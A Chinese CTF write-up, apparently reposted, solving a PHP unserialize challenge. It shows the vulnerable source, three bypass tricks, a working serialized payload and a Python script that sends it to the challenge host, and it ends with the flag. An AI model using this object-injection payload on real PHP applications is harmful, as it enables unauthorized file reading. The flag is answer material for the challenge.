【web | CTF】攻防世界 Web_php_unserialize

天命:這條反序列化題目也是比較特別,里面的漏洞知識點,在現在的php都被修復了

天命:而且這次反序列化的字符串數量跟其他題目不一樣

 <?php 
class Demo { // 初始化給變量內容,也就是當前文件,高亮顯示出來private $file = 'index.php';// 初始化觸發函數:把我們輸入的東西放入屬性變量里,就是我們反序列化的時候輸入的東西public function __construct($file) { $this->file = $file; }// 銷毀時候觸發,相當于是打印flag文件出來function __destruct() { echo @highlight_file($this->file, true); }// 這個方法不會觸發,估計是舊版本的php,滿足某些情況所以沒有觸發// 純碎用來嚇人,我還研究了一晚上如何讓  fl4g.php == index.php// fl4g.php == index.php,就算是弱比較也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接訪問是空氣$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重點,也是難點,更是無用的點// 現在版本的php都已經修復了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑點:__wakeup函數可以忽略,根本不會觸發,

麻痹研究了我一晚上如何才能讓? fl4g.php == index.php?

最后結論:就算是弱比較,也不可能相等,沒有其他辦法

所以只需要繞過正則表達式即可,不會正則表達式自己去學習

既不簡單,也不難,我也學了幾天才算比較掌握
?

【繞過點一】繞過正則,在O:4: 改成 O:+4: 就可以了

多一個+號(具體原理也不清楚,反正當是刷經驗了,上古版本的php才有的漏洞)

【繞過點二】繞過 __wakeup函數,把反序列化中的內容數量,從1改成2即可

至少很大概率是這樣繞過,看別人wp講的

大概意思應該是當反序列化的? 屬性變量數? 大于? 當前類的屬性變量數 的時候,就什么安全性因素,就不觸發

【繞過點三】加上\00

變量名:Demofile 變成? \00Demo\00, 字符個數+2就行:s:10:"\00Demo\00file"

這里可能是因為 private 的原因,所以是+2

其他題目是protected,就是+3

也不確定是不是肯定,做的反序列化題目還不夠多

【最終改變】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

寫上測試腳本

import requests,base64# 兩個payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 編碼
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 發送請求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/696312.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/696312.shtml
英文地址,請注明出處:http://en.pswp.cn/news/696312.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

代碼隨想錄 -- 字符串

文章目錄 反轉字符串描述題解 反轉字符串II描述題解 替換數字描述題解&#xff1a;replace函數題解&#xff1a;雙指針 翻轉字符串里的單詞描述題解 右旋字符串描述題解 實現 strStr()描述題解&#xff1a;暴力算法題解&#xff1a;KMP算法(懵懂) 重復的子字符串描述題解題解&a…

數據備份(上)

備份的意義 數據備份是容災的基礎&#xff0c;防止系統出現操作失誤或者遭受網絡攻擊導致數據丟失&#xff0c;為保證數據安全和業務連續性&#xff0c;有效的防護措施&#xff0c;對數據進行合理的備份、防范于未然。 面臨的威脅 去年2023年10月親自經歷客戶某網站無法訪問…

WEB-UI自動化測試實踐

&#x1f525; 交流討論&#xff1a;歡迎加入我們一起學習&#xff01; &#x1f525; 資源分享&#xff1a;耗時200小時精選的「軟件測試」資料包 &#x1f525; 教程推薦&#xff1a;火遍全網的《軟件測試》教程 &#x1f4e2;歡迎點贊 &#x1f44d; 收藏 ?留言 &#x1…

已解決的問題:BIOS中Enter鍵失效_BIOS中回車鍵沒反應

問題&#xff1a; 未解決的問題&#xff1a;BIOS中enter鍵失效_bios回車鍵沒反應-CSDN博客 問題復現&#xff1a; Windows7 關機 開機按F2進入BIOS 調整Boot Mode&#xff0c;按Enter建&#xff0c;Enter鍵失效 按F10&#xff0c;按Enter鍵&#xff0c;Enter鍵失效 按E…

LeetCode59-螺旋矩陣II

參考鏈接&#xff1a;代碼隨想錄->螺旋矩陣II 關鍵是學視頻鏈接里面的編碼思想&#xff0c;然后背下來 class Solution { public:vector<vector<int>> generateMatrix(int n) {vector<vector<int>> resvector(n,vector<int>(n,0));int sx0,s…

HTML好玩代碼(正式版)

今天給大家幾個好玩兒的HTML代碼&#xff0c;可以自行修改文字&#xff0c;更改效果&#xff08;一定要看到最后&#xff09;&#xff0c;代碼&#xff0c;&#x1f389;走起&#xff1a; 一、圣誕樹效果&#xff08;音樂可自行選擇&#xff09; 代碼&#xff1a; <!DOCTY…

vite是什么

vite 是什么 vite —— 一個由 vue 作者尤雨溪開發的 web 開發工具 Vite由兩個主要部分組成 dev server&#xff1a;利用瀏覽器的ESM能力來提供源文件&#xff0c;具有豐富的內置功能并具有高效的HMR生產構建&#xff1a;生產環境利用Rollup來構建代碼&#xff0c;提供指令用…

基于情感分析的網上圖書推薦系統

項目&#xff1a;基于情感分析的網上圖書推薦系統 摘 要 基于網絡爬蟲的數據可視化服務系統是一種能自動從網絡上收集信息的工具&#xff0c;可根據用戶的需求定向采集特定數據信息的工具&#xff0c;本項目通過研究爬取網上商品評論信息實現商品評論的情感分析系統功能。對于…

嵌入式學習25-復習指針要點

1指針 1.1語法&#xff1a; 【基類型*指針變量名】 【int *p&a】 1 2 1.2語義&#xff1a; 【基類型】&#xff1a;指針變量指向的目標的數據類型 【*】&#xff1a;表示此時定義的變量是一個指針類型的變量 【&a】&#xff1a;一塊存放著int類型數據的空間的地址 【*p…

Flutter開發LongPressDraggable、Draggable 的onDragEnd沒有被調用

文章目錄 onDragEnd 什么時候執行&#xff1f;onDragEnd 在拖動結束時沒有被調用的可能原因 onDragEnd 什么時候執行&#xff1f; onDragEnd 回調函數在拖動結束時執行&#xff0c;但要注意&#xff0c;拖動結束有多種情況&#xff0c;不僅僅是松開手指觸發的。 onDragEnd 會…

【國產MCU】-CH32V307-通用定時器(GPTM)-單脈沖模式

通用定時器(GPTM)-單脈沖模式 文章目錄 通用定時器(GPTM)-單脈沖模式1、單脈沖模式介紹2、驅動API介紹3、單脈沖使用實例本文將詳細介紹如何使用CH32V307通用定時器的單脈沖模式。 1、單脈沖模式介紹 單脈沖模式可以響應一個特定的事件,在一個延遲之后產生一個脈沖,延遲…

Seata 的 AT 模式

目錄 概述 Springcloud 整合 Seata 數據庫腳本 服務依賴 Springboot 配置 代碼改造 AT模式下的數據隔離 寫隔離 讀隔離 概述 Seata 的 AT 模式是 Seata 的默認模式&#xff0c;它的原理是依賴于數據庫事務&#xff0c;以數據庫事務保證本地事務分支特性&#xff0c;結合…

windows系統用VS環境開發linux程序之一

主要有兩種方法&#xff0c;一種是在windows中安裝linux子系統&#xff0c;即WSL&#xff0c;另一種是windows系統裝linux虛擬機。 這里先用虛擬機方法。參考文章&#xff1a; 用VS2015開發Linux程序詳細教程-配置篇_vs2015可以在linux安裝嗎-CSDN博客 這篇基本就夠了。不過…

nginx之web性能location優先級

4.2 event事件 events {worker_connections 65536; #設置單個工作進程的最大并發連接數use epoll;#使用epoll事件驅動&#xff0c;Nginx支持眾多的事件驅動&#xff0c;比如:select、poll、epoll&#xff0c;只能設置在events模塊中設置。accept_mutex on; #on為同一時刻一個…

設計模式之委派模式

文章目錄 前言正文一、生活中的例子二、Java代碼實現2.1 類設計2.2 代碼實現2.2.1 Employee2.2.2 ArchitectureDesignEmployer2.2.3 BackEmployer2.2.4 FrontEmployer2.2.5 Leader2.2.6 EmployeeStrongPointEnum2.2.7 Boss 2.3 測試2.3.1 Client2.3.2 測試結果 三、委派模式的優…

Docker Desktop 4.27.1 Windows 10 安裝 教程

Docker Desktop 4.27.1 Windows 10 安裝 版本要求windows 版本要求wsl 版本要求docker desktop 版本 安裝首先確保系統版本符合要求前提下安裝wsl安裝 Dockers Desktop安裝說明 安裝問題docker Desktop 無法正常啟動&#xff0c;提示wsl 相關信息wsl --install 執行輸出幫助日志…

Python 程序中查看 Python version

Python 程序中查看 Python version 1. Code2. OutputReferences 1. Code #!/usr/bin/env python3 # -*- coding:utf-8 -*-import platform import sysprint("\nplatform.python_version():") print(platform.python_version())print("\nsys.version:") pr…

springboot大學生體質測試管理系統源碼和論文

大學生體質測試管理系統提供給用戶一個簡單方便體質測試管理信息&#xff0c;通過留言區互動更方便。本系統采用了B/S體系的結構&#xff0c;使用了java技術以及MYSQL作為后臺數據庫進行開發。系統主要分為系統管理員、教師和用戶三個部分&#xff0c;系統管理員主要功能包括首…

圖像分類入門:使用Python和Keras實現卷積神經網絡

文章標題&#xff1a;圖像分類入門&#xff1a;使用Python和Keras實現卷積神經網絡 簡介 圖像分類是計算機視覺領域的一個重要任務&#xff0c;它涉及將圖像分成不同的類別或標簽。卷積神經網絡&#xff08;CNN&#xff09;是圖像分類任務中的一種常用模型&#xff0c;它能夠…

rust實戰系列十四:復合數據類型

復合數據類型可以在其他類型的基礎上形成更復雜的組合關系。 本章介紹tuple、struct、enum等幾種復合數據類型。數組留到第6章介紹。 2.3.1 tuple tuple指的是“元組”類型&#xff0c;它通過圓括號包含一組表達式構成。tuple內的元素沒 有名字。tuple是把幾個類型組合到一起的…